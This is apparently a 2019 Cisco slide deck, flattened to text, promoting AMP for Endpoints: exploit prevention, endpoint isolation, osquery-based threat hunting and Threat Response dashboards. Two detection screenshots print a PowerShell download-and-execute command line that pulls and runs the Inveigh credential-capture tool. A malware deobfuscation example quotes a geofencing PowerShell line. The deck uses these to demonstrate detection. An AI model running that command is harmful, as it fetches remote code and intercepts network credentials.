





The importance of securing the endpoints with Cisco AMP

Szilard Csordas
Technology Solutions Architect
November 2019





Everything is Encrypted!



Microsoft Exchange

General Advanced Security





Encryption

☒ Encrypt data between Microsoft Outlook and Microsoft Exchange

User identification

☐ Always prompt for login

Logon network security:



Deciphering Malware's use of TLS (without Decryption)

Blake Anderson, Subharthi Paul, David McGrew

(Submitted on 6 Jul 2016)

The use of TLS by malware poses new challenges to network threat detection because traditional pattern-matching techniques can no longer be applied to its messages. However, TLS also introduces a

Supporting App Transport Security

December 21, 2016

App Transport Security (ATS), introduced in iOS 9 and OS X v10.11, improves user security and privacy by requiring apps to use secure network connections over HTTPS. At WWDC 2016 we announced that

- TLS: HTTPS, mail transport (SMTP, IMAP)

Proxy with TLS client cooperation

- TLS: Pinned Applications in every category!

- Dropbox client, Google Drive
- iTunes
- Pokemon, SecondLife
- Chrome – Google Apps, Firefox, Opera
- WhatsApp
- Office 365 Mail
- Goto Meeting, Lync, Webex, Jabber

This list continues to grow!

- DTLS: WebRTC, DTLS-SRTP, Cisco AnyConnect

- IPSec: VPN


- Email Object encryption

- PGP (Gmail, Yahoo), S/MIME (Apple iOS, Outlook)

- Application-layer encryption

- JOSE (javascript), WebCrypto, Enc. Push, Enc. Content-Encoding

Un-breakable, due to mutual authentication and/or certificate pinning (HPKP)



Simple obfuscation example

<https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html>

```
0zig7fs9(y4 7b(i6G7aet5tvf-giUdtIacC4zuxelactd7u6wr53ehy)26.izNejahgm71ewf ga-  
99mefau6twyctvhu6 6w'cxRf7Ua5|5aUuzAxi|4uBv6Yez|7eCd7N13'v3)66{v4 81eigxjyitct83;3e  
z4}e0
```

remove two keep one character


```
0zig7fs9(y4 7b(i6G7aet5tvf-giUdtIacC4zuxelactd7u6wr53ehy)26.izNejahgm71ewf ga-  
99mefau6twyctvhu6 6w'cxRf7Ua5|5aUuzAxi|4uBv6Yez|7eCd7N13'v3)66{v4 81eigxjyitct83;3e  
z4}e0
```

Becomes the PowerShell command:

```
if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; }
```

Endpoint = Last line of Defense, NOW First

- Devices are mobile now and leave the traditional Perimeter



The Convergence of EPP and EDR

Endpoint Protection Platforms

- Integrated solution with the following capabilities: anti-malware, personal firewall, port and device control
- Traditional AV (signature-based approach)

Endpoint Detection and Response

- Visibility tool for detection, Incident Response support (post-incident investigation), for proactive threat hunting
- Handling what traditional AV missed




Next Gen Endpoint Security

- A tool which detects and prevents malware infections and provides visibility and control for post infection investigations

Protection Lattice – AMP for Endpoint

Reducing Time to Detection






Capabilities Summary: NextGen Endpoint

PREVENT: Attack Surface Reduction	DETECT: Attack Alerting and Reducing Time to Detect	RESPOND: Post Compromise and Reducing Time to Respond
<ul style="list-style-type: none">• File Reputation w/ Collective Security Intelligence• Anti-Virus Engine (Tetra)• Polymorphic Malware Detection Engine (ETHOS)• Application Blocking• Simple Custom Detection• Advanced Custom Detection• System Process Protection• Exploit Prevention Engine	<ul style="list-style-type: none">• Cloud IOC (Cloud-based Heuristics Analysis)• Vulnerable Software• Low Prevalence File Execution w/ Automatic Dynamic File Analysis• Machine Learning Detection Engine: SPERO• Malicious Activity Prevention• <i>Machine Learning Detection: Static File Analysis</i>• <i>Disconnected Mode Support</i>	<ul style="list-style-type: none">• Interactive File Analysis (Glovebox)• Cognitive Intelligence• Device Flow Correlation (Device Process-IP Communication Analytics)• Endpoint IOC Scanning• Network File Trajectory• Device Trajectory• Retrospective Security• <i>Enhanced Endpoint Search</i>• <i>Threat Classification</i>• <i>Host Isolation</i>

A Major Shift in Cyber Defense

Attackers Advantage:

predictable targets and defenses




Reactive Detection:

Defenders chasing unpredictable hackers



Defenders Advantage:

Unpredictable moving targets




Proactive Prevention:

Hackers chasing unpredictable targets

Exploit Prevention Overview

- Make the memory **unpredictable** by proactively changing its structure
- Make the application aware of the **new legitimate memory structure**
- Any code accessing the **old memory structure** is malware and is **trapped**
- No performance penalty, **signatureless**



Exploit Prevention: Defeating Threats

For Your
Reference


Exploitation	Post-Exploitation	Malware
Memory Corruption	Shellcode	Obfuscated
Return-Oriented Programming	Code Injections	Packer-based
Heap Spraying	Process Hollowing	Adware
	Reflective Loading	

(*) Table above does not represent an exhaustive list of threats defeated by Exploit Prevention engine

Endpoint Isolation (from version 7.0.1)

The ability to isolate an endpoint from the network either manually or using rules to aid in incident response or remediation

- Isolate infected hosts from the rest of the network
- Contain the threat without losing forensics data
- Shrink remediation cost by limiting the scale of attack
- Fast endpoint reactivation once remediation is complete



Contain attack fast

Start isolation from the computers page

Endpoint Isolation Policy

New policy copied from existing

The screenshot displays the Cisco AMP console interface for managing endpoint isolation. It shows a list of endpoints and a detailed view for a specific endpoint, 'loxx-surfacepro'.

Endpoint List:

- ☐ JumpDev.securitydemo.net in group ATW-Lab ✓ Within Policy
- ☐ loxx-stinkpad in group ATW-Production ⚠ Definitions Outdated
- ☐ loxx-surfacepro in group Endpoint Isolation Group ✓ Within Policy

Endpoint Details for loxx-surfacepro:

Hostname	loxx-surfacepro	Group	Endpoint Isolation Group
Operating System	Windows 10, SP 0.0	Policy	Endpoint Isolation Policy
Connector Version	6.4.1.11083	Internal IP	192.168.26.72
Install Date	2019-06-07 16:30:23 UTC	External IP	70.60.206.37
Connector GUID	f84c06ba-6d3c-4fd0-a31f-5b9058dbb4a5	Last Seen	2019-06-07 17:06:45 UTC
Definition Version	TETRA 64 bit (daily version: 77141)	Definitions Last Updated	2019-06-07 16:40:03 UTC
Update Server	tetra-defs.amp.cisco.com		

Actions:

- Start Isolation
- Scan...
- Move to Group...
- Diagnose...
- Delete

Navigation Links: [Events](#) [Device Trajectory](#) [View Changes](#) [Diagnostics](#)

Endpoint is isolated

Who + comment

Who isolated the endpoint & what comment they added

Unlock Codes!

Just in case, a unique code is generated for the end user to remove themselves from isolation. Helpdesk would give this code to “stuck user” (CLI only today)

How long?

How long endpoint has been isolated

lxxx-surfacepro in group Endpoint Isolation Group

Within Policy

Isolated

Aaron Woland 2019-06-07 17:12:36 UTC

Unlock Code: hox28w

Isolated for 2 minutes

Starting isolation because I don't like this user.


Hostname	lxxx-surfacepro	Group	Endpoint Isolation Group
Operating System	Windows 10, SP 0.0	Policy	Endpoint Isolation Policy
Connector Version	6.4.1.11083	Internal IP	192.168.26.72
Install Date	2019-06-07 16:30:23 UTC	External IP	70.60.206.37
Connector GUID	f84c06ba-6d3c-4fd0-a31f-5b9058dbb4a5	Last Seen	2019-06-07 17:13:13 UTC
Definition Version	TETRA 64 bit (daily version: 77141)	Definitions Last Updated	2019-06-07 16:40:03 UTC
Update Server	tetra-defs.amp.cisco.com		

Events Device Trajectory View Changes Diagnostics


Stop Isolation Scan... Move to Group... Diagnose... Delete

Free the endpoint


End user experience – Isolation Start



End user experience – Isolation Stop



End user experience – Stop isolation via CLI



Cisco AMP for Endpoints

Process Mutex Search X

```
SELECT object_name FROM winbaseobj WHERE  
object_type="Mutant" AND object_name LIKE  
(SELECT v FROM __vars WHERE n="mutex");
```



Orbital Advanced Search (Open Beta)

- The ability to search across all endpoints for forensic information and malware artifacts.
- Based on osquery.
- Part of a larger capability across all Cisco Security products.

Advanced Settings

Administrative Features

Client User Interface

File and Process Scan

Cache

Orbital ^{BETA}

Engines


TETRA

Network

Scheduled Scans

Orbital Advanced Search

- Proactive: no antecedent required
- Real time search across all endpoints for
 - Registry keys
 - Users
 - Processes
 - Applications
 - And much more
- Seamless investigation and remediation with Cisco Threat Response



Simplify threat hunting
and investigation

Forensic snapshot at a given time!

```
SELECT p.pid, p.name, p.path, h.sha256
FROM processes p INNER JOIN hash h ON
p.path=h.path;
```

```
SELECT description, install_date, status,
allow_maximum, maximum_allowed, name,
path, type FROM shared_resources;
```

```
SELECT DISTINCT ae.name, ae.path,
ae.source, h.sha256 FROM autoexec ae LEFT
JOIN hash h ON h.path = ae.path;
```

```
SELECT name, version, publisher,
install_date FROM programs WHERE name!=""
OR publisher!="";
```

Hosts File Data [SHA256 Hash Of Running Processes](#) Mapped Drives Interface Names And Associated IPs Process Running Without A Binary On Disk Shared Resources Application

PID	NAME	PATH	SHA256
576	winlogon.exe	C:\WINDOWS\system32\winlogon.exe	7dbe6a26c
620	lsass.exe	C:\WINDOWS\system32\lsass.exe	bbc83e475f
716	svchost.exe	C:\WINDOWS\system32\svchost.exe	7fd065bac1

Hosts File Data [SHA256 Hash Of Running Processes](#) Mapped Drives Interface Names And Associated IPs Process Running Without A Binary On Disk [Shared Resources](#)

DESCRIPTION	INSTALL_DATE	STATUS	ALLOW_MAXIMUM	MAXIMUM_ALLOWED	NAME	PATH
Remote Admin		OK	1	32762	ADMIN\$	C:\WINDOWS
Default share		OK	1	-2147483648	C\$	C:\
Remote IPC		OK	1	-2147483648	IPC\$	

System Attributes [Windows executables that automatically execute](#) Windows HotFixes Listening Ports Startup Items Installed Programs On Windows Host User

NAME	PATH	SOURCE
Audio Endpoint		drive
Generic software device		drive
Local Print Queue		drive

that automatically execute Windows HotFixes Listening Ports Startup Items [Installed Programs On Windows Host](#)

NAME	VERSION
Mozilla Firefox 69.0.1 (x64 en-US)	69.0.1
Mozilla Maintenance Service	68.1.0
VMware Tools	10.3.10.12406962

Orbital Advanced Search Feature Details

Query Catalog

Filters

[Reset](#)

Categories

- ☐ Forensics
- ☐ Threat Hunting
- ☐ Malware
- ☐ Posture Assessment
- ☐ Live Acquisition Of Volatile Data

Mitre Tactics

- ☐ Initial Access
- ☐ Execution
- ☐ Persistence
- ☐ Privilege Escalation
- ☐ Defense Evasion
- ☐ Credential Access
- ☐ Discovery
- ☐ Lateral Movement
- ☐ Collection
- ☐ Command and Control
- ☐ Exfiltration
- ☐ Impact

Mitre Techniques

- ☐ .bash_profile and .bashrc

	NAME	CREATED	UPDATED	ID	OS	CATEGORY	MITRE TACTIC
>	Microsoft Equation Editor Child Processes Monitoring	08/21/2019	08/22/2019	eqnedt32_child_processes_monitoring	Windows	Posture Assessment Threat Hunting	Defense Evasion
>	Sticky Keys Registry Backdoor	02/28/2019	08/19/2019	accessibility_features_registry_backdoor	Windows	Threat Hunting	Persistence Privilege Escalation
>	Developer Mode Monitoring	02/28/2019	08/19/2019	developer_mode_monitoring	Windows	Posture Assessment	Defense Evasion
>	Hosts File Monitoring	02/12/2019	08/15/2019	etc_hosts_monitoring	Windows, Linux, Darwin	Posture Assessment	Command and Control
>	Inventory System Information	01/16/2019	08/14/2019	system_info	Windows, Darwin, Linux	Posture Assessment	
>	Chocolatey Packages Monitoring	05/15/2019	08/14/2019	chocolatey_packages_monitoring	Windows	Posture Assessment	
>	SHA256 Hash Of Running Processes	01/17/2019	08/14/2019	process_hashes	Windows, Darwin, Linux	Live Acquisition Of Volatile Data	
>	User Agent Masquerade Attempt	03/11/2019	08/15/2019	powershell_useragent_masquerade_attempt	Windows	Threat Hunting	Defense Evasion
>	Mapped Drives Monitoring	03/04/2019	08/15/2019	mapped_drives	Windows	Posture Assessment	
>	Aplocker Registry Monitoring	03/04/2019	08/19/2019	aplocker_registry	Windows	Posture Assessment	Defense Evasion
>	PowerShell Event Auditing State Monitoring	07/31/2019	08/19/2019	powershell_event_auditing_state	Windows	Posture Assessment	

Orbital Advanced Search Feature Details

- Orbital Console accessed via Cisco Security (AMP console) credentials.
- Live queries can run on demand.
- Includes extensive catalog of prebuilt queries (including ATT&CK mappings).

[Query Catalog](#) / etc_hosts_monitoring

Hosts File Monitoring

Created by Cisco 02/12/19. Updated 08/15/19.

This query is applicable to Windows, Linux and MacOS. The hosts file is the local host database which is checked before a name resolution request is sent to a DNS server. A host entry consists of a hostname, and it's corresponding IP address. It is often used by the malware authors to redirect traffic from the intended destination to sites hosting malicious or unwanted content. It may also be used to block legitimate content such as AV signature updates. On the other hand, it can be used legitimately, and this query may need to be customized to exclude legitimate entries.


ID etc_hosts_monitoring

OS Windows, Linux, Darwin

Categories [Posture Assessment](#)

Mitre Techniques [Fallback Channels](#) [Web Service](#)

Mitre Tactics [Command and Control](#)



Orbital

Query Jobs Assets Catalog

Live Query [New](#)

Endpoints

SQL

[Catalog](#) [Query](#) [Create Job](#)

[Catalog queries are designed to run independently.](#)

SQL

```
SELECT address, hostnames FROM etc_hosts
WHERE hostnames NOT IN ("localhost", "::1",
"fe00::0", "ff00::0", "ff02::1", "ff02::2");
```

AMP for Endpoints Ecosystem Value



Threat Visualization/
Response



Malware Analysis



Email



Network

SOAR: Response – Quarantine



Managed SOC

SIEM: Visualization of Event Stream



panaseer

Unified View of
Assets and Controls



chrome

Unsupported Python
Integrations

Open
Ecosystem

DevNet: <https://developer.cisco.com/amp-for-endpoints/>
GitHub: <https://github.com/CiscoSecurity>



Higher threat efficacy validated by third party testing

<https://www.av-comparatives.org/vendors/cisco/>

Validated by independent tests:
AV Comparatives, Miercom,
and NSS Labs

Powered by Talos
threat intelligence

Strong prevention – multiple
engines and blocking tools



Malware
Protection Test

99.8%

False
Alarms

0

Real World
Protection Test

98.9%

3

<https://blogs.cisco.com/security/cisco-amp-for-endpoints-excelling-in-av-comparatives-business-main-test-series>



Remediation

“I can easily enforce Zero Trust for the Workforce.”

AMP and Duo Integration




Continuously verify trust to prevent compromised devices from accessing Duo-protected applications

Duo & AMP: Detect Device Malware & Respond

How It Works

Block malicious devices from accessing applications with Duo and AMP.



Threat Response



Introducing Cisco Threat Response



Out-of-box integrations

Get more from your Cisco Security investments when they are already working together



Designed for your SOC

Reduce the burden on your other security products and make them work better



Save time and effort

Reduce the burden on your other security products and make them work better



No additional cost


Get it today with integrated Cisco Security product licenses



83% of surveyed organizations report that Cisco Threat Response has reduced the time they spent on threat investigations by 25% or more.

(TechValidate user survey, 2019)

Cisco Threat Response - API integration



Incident Manager

NOW



Threat Response

Investigate

Snapshots

Incidents Beta

Intelligence

Modules



Ben Greenbaum - US Admin ▾

For selected... ▾

Search...

<input type="checkbox"/>	Title	Status	Confidence	Description	Source	Modified ▾	Actions
<input type="checkbox"/>	Intrusion event 1:1000001:1	Open	Medium	MALWARE CNC SIGNAL - OSINT - Callback Ca...	ngfw_ips_event_sei	Oct 08, 2019	... ▾
<input type="checkbox"/>	Intrusion event 1:1000001:1	New	Medium	MALWARE CNC SIGNAL - OSINT - Callback Ca...	ngfw_ips_event_sei	Oct 07, 2019	... ▾
<input type="checkbox"/>	Intrusion event 1:1000001:1	New	Medium	MALWARE CNC SIGNAL - OSINT - Callback Ca...	ngfw_ips_event_sei	Oct 06, 2019	... ▾
<input type="checkbox"/>	Intrusion event 122:3:1	New	Medium	PSNG_TCP_PORTSWEET	ngfw_ips_event_sei	Oct 06, 2019	... ▾
<input type="checkbox"/>	Intrusion event 1:1000001:1	New	Medium	MALWARE CNC SIGNAL - OSINT - Callback Ca...	ngfw_ips_event_sei	Oct 05, 2019	... ▾
<input type="checkbox"/>	Intrusion event 1:1000001:1	New	Medium	MALWARE CNC SIGNAL - OSINT - Callback Ca...	ngfw_ips_event_sei	Oct 04, 2019	... ▾
<input type="checkbox"/>	Intrusion event 134:3:1	New	Medium	PPM_EVENT_PACKET_ABORTED	ngfw_ips_event_sei	Oct 04, 2019	... ▾ 🔍

Observables

Cisco Threat Response supports the quick investigation of cyber Observables, which might be domain names, IP addresses, file hashes, PKI certificate serial numbers, and even specific devices or users.

The first thing that Cisco Threat Response does with an observable is determine its disposition by aggregating what is known about that observable from the various enrichment modules configured.

The disposition tells the Incident Responder whether the observable is:

- Clean (explicitly whitelisted)
- Malicious (explicitly blacklisted)
- Suspicious (potentially harmful)
- Unknown (not currently associated with a known disposition)

Unknown observables are not enriched.

What can I search for?

You can search for one or more of the following:

- IP Addresses (v4 and v6)
- Domains
- File Hashes (SHA256, SHA1, MD5)
- MAC addresses
- URLs
- Syslog Messages
- Security Alerts (any format)
- Observables using the format <type>:" <value>" where the type could be (file_path, mac_address, device, hostname, url, user, ipv6, email, sha256, sha1, md5, ip, domain, imei, amp_computer_guid, pki_serial, imsi, amp-device, file_name)

Provide up to 2,000 characters of any text containing the above items, and we'll extract as much as possible.

Close

+


Modules ▾

00:50:56:a1:23:20 

Sighting

A record of the appearance of a cyber observable at a given date and time.

Can optionally be related to Indicators, providing threat intelligence context about the observable.




Indicator

Describes a pattern of behavior or a set of conditions which indicate malicious behavior.

Some indicators are more indicative than others of malicious behavior, so knowing exactly which bad behaviors an observable are exhibiting can help an incident responder decide what to do next.

Cisco Threat Response uses a large collection of malware indicators from the AMP Global Intelligence threat archive, Threat Grid, and other sources.



163

Threats Detected

0

Network Threats

21

Quarantines

10

Compromises

1

Exploits Prevented

2

Retrospective Events

1

Connectors Deployed


49

Threat Grid Submissions


Compromises

10 Compromises total - 0 In Progress - 0 Resolved

By Event



By Host



Computers

By Host



Version Deployment



Threats


Root Cause




Resolution



By Host



By Threat Name




Network Threats

None Observed

out of

Vulnerabilities

By Application Execution



By Host



File Analysis

Groups configured with Automatic Analysis:

Server, SCSORDAS_GROUP, BUDLAB WIN-CLIENT GROUP, BUDLAB MAC ...

Average 1 submissions per day (including automatic and manual submissions)

0 computers with threats detected in Low Prevalence Executables













Significant Submission Results



Dashboard

⊕ Filter: (New) ⓘ






Select a Filter

⊕ MRBROWN-PC.budlab.net detected a Cloud IOC: W32.PowershellDownloadedExecutable.ioc	High	   Cloud IOC	2019-03-22 13:43:55 CET
⊕ MRBROWN-PC.budlab.net detected a Cloud IOC: W32.PowersploitModuleDownload.ioc	Critical	   Cloud IOC	2019-03-22 13:43:55 CET
⊕ MRBROWN-PC.budlab.net detected a Cloud IOC: W32.PowershellDownloadString.ioc	Medium	   Cloud IOC	2019-03-22 13:43:55 CET
⊖ MRPINK-PC.budlab.net detected a Cloud IOC: W32.PowershellDownloadedExecutable.ioc	High	   Cloud IOC	2019-03-22 13:19:52 CET


File Detection


Connector Info


Comments

Description	PowerShell is a Windows utility that allows access to many Microsoft APIs within a shell environment. In this case, a script attempted to download a file or script to the local system and then execute it. Malware authors may use this to download items, rename them, execute them, and delete them with a single command.
Fingerprint (SHA-256)	 a8fdb9d...6867dab8 
File Name	 powershell.exe
File Path	file:///C:/3A/Windows/System32/WindowsPowerShell/v1.0/powershell.exe
Command Line Arguments	Powershell.exe -NoP -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1'); Invoke-Inveigh -ConsoleOutput Y -HTTP Y -HTTPS Y -mDNS Y -NBNS Y -Proxy Y -WPADAuth Basic -HTTPAuth Basic
Parent Fingerprint (SHA-256)	 db06c353...5aaff386 

Analyze

 View Upload Status

 Add to Whitelist

 File Trajectory

additional details

Device Trajectory

[Take a Tour](#)[Share](#)[Send Feedback](#)[Use Legacy Device Trajectory](#)


MRPINK-PC.budlab.net in group Techtorial_2019_AUDIT

13 compromise events (spanning 5 days)



Filters

Search Device Trajectory



Event Details

High

2019-03-22 13:19:51 CET

Cloud IOC: W32.PowerShellDownloadedExecutable.ioc

Description: PowerShell is a Windows utility that allows access to many Microsoft APIs within a shell environment. In this case, a script attempted to download a file or script to the local system and then execute it. Malware authors may use this to download items, rename them, execute and delete them with a single command.

Command Line Arguments: Powershell.exe -NoP -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1'); Invoke-Inveigh -ConsoleOutput Y -HTTP Y -HTTPS Y -mDNS Y -NBNS Y -Proxy Y -WPADAuth Basic -HTTPOAuth Basic

Event Details

2019-03-22 13:19:53 CET

Outgoing connection from **powershell.exe**, Microsoft® Windows® Operating System 6.1.7600.16385 (

a8fdb9d...6867dab8 [PE_Executable] at

192.168.77.20 TCP Port 58010 to http://192.168.77.

110/wpad.dat (192.168.77.110 Port 80) .

Unknown disposition.

Benign process distribution.

At 12:19:53, Fri Mar 22 2019 UTC

Parent file SHA-1: 5330fedad485e0

Parent file MD5: 852d67a27e454bc

Parent file size: 473600 bytes.

192.168.77.110

IP

Copy to Clipboard

Search

Add to Current Casebook

Add to New Casebook

Talos Intelligence

Search for this IP

Umbrella

IP view for 192.168.77.110

Threat Response

Investigate this IP

Take a Tour

Share

Send Feedback

Use Legacy Device Trajectory

13 compromise events (spanning 5 days)

Event Details

High

2019-03-22 13:19:51 CET

Cloud IOC: W32.PowerShellDownloadedExecutable.ioc

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pivoting



3 Targets ▾



1 Observable ▾



0 Indicators



0 Domains



0 File Hashes



1 IP Address ▾

Relations Graph Showing 36 nodes



Target

Windows 10, SP 0.0

Targeted by 1 unique threat, 13 times in the last month

Hostname

mrorange-pc.budlab.net ▾

AMP Computer GUID

46b334e4-6a88-4b82-a176-... ▾

IP Address

192.168.34.7 ▾

MAC Address


00:50:56:ae:59:94 ▾


IP Address

169.254.191.35 ▾

MAC Address

02:00:4c:4f:4f:50 ▾







Thank you

